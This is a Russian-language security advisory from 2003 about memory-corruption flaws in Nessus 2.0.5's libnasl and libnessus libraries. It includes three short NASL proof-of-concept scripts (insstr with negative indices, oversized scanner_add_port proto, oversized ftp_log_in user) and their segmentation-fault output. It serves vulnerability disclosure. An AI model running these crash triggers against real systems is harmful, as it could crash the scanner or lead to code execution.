Security Lab

Недостаток в библиотеках libnasl и libnessus в Nessus security scanner позволяет локальному пользователю выполнять произвольный код

Дата публикации:27.05.2003
Всего просмотров:1163
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Уязвимость обнаружена в Nessus security scanner в библиотеке libnasl. Локальный пользователь может выполнить произвольный код на сканируемом хосте.

Сообщается, что локальный пользователь с учетной записью Nessus и возможностью загружать произвольные дополнения к Nessus, может загрузить специально обработанный сценарий, который обойдет ограничения защиты и выполнит произвольные команды на операционной системе. Возможность загружать Nessus plugins отключена по умолчанию (опция 'plugins_upload' должна быть установлена к 'no' в nessusd.conf).

Согласно сообщению, злонамеренный сценарий может эксплуатировать эту уязвимость, посылая некорректные параметры к функциям insstr() и ftp_log_in() и другим nasl функциям. Несколько подобных уязвимостей обнаружено в libnessus.

Например, для эксплуатации уязвимости в функции insstr(), требуется установить отрицательное значение для четырех параметров. Пример:

$ cat t1.nasl
insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd);

$ nasl t1.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
[1384](t1.nasl) insstr: warning! 1st index 3 greater than 2nd index -3
Segmentation fault (core dumped)
В функции scanner_add_port(), переполнение буфера происходит при представлении чрезмерно длинного параметра 'proto', как показано в следующем эксплоите:
 
$ cat t2.nasl
scanner_add_port(port : 80, proto : crap(data:'A', length:300));

$ nasl t2.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
Segmentation fault (core dumped)
Наконец, переполнение буфера в функции ftp_log_in(), может эксплуатироваться представлением чрезмерно длинных параметров 'user' и 'pass', как показано ниже:
 
$ cat t3.nasl
ftp_log_in(socket : open_sock_tcp(21), pass : "11", user:
crap(data:'A',length:8192)); 

$ nasl t3.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
Segmentation fault (core dumped)
Уязвимость обнаружена в Nessus Scanner 2.0.5
Ссылки: Potential security vulnerability in Nessus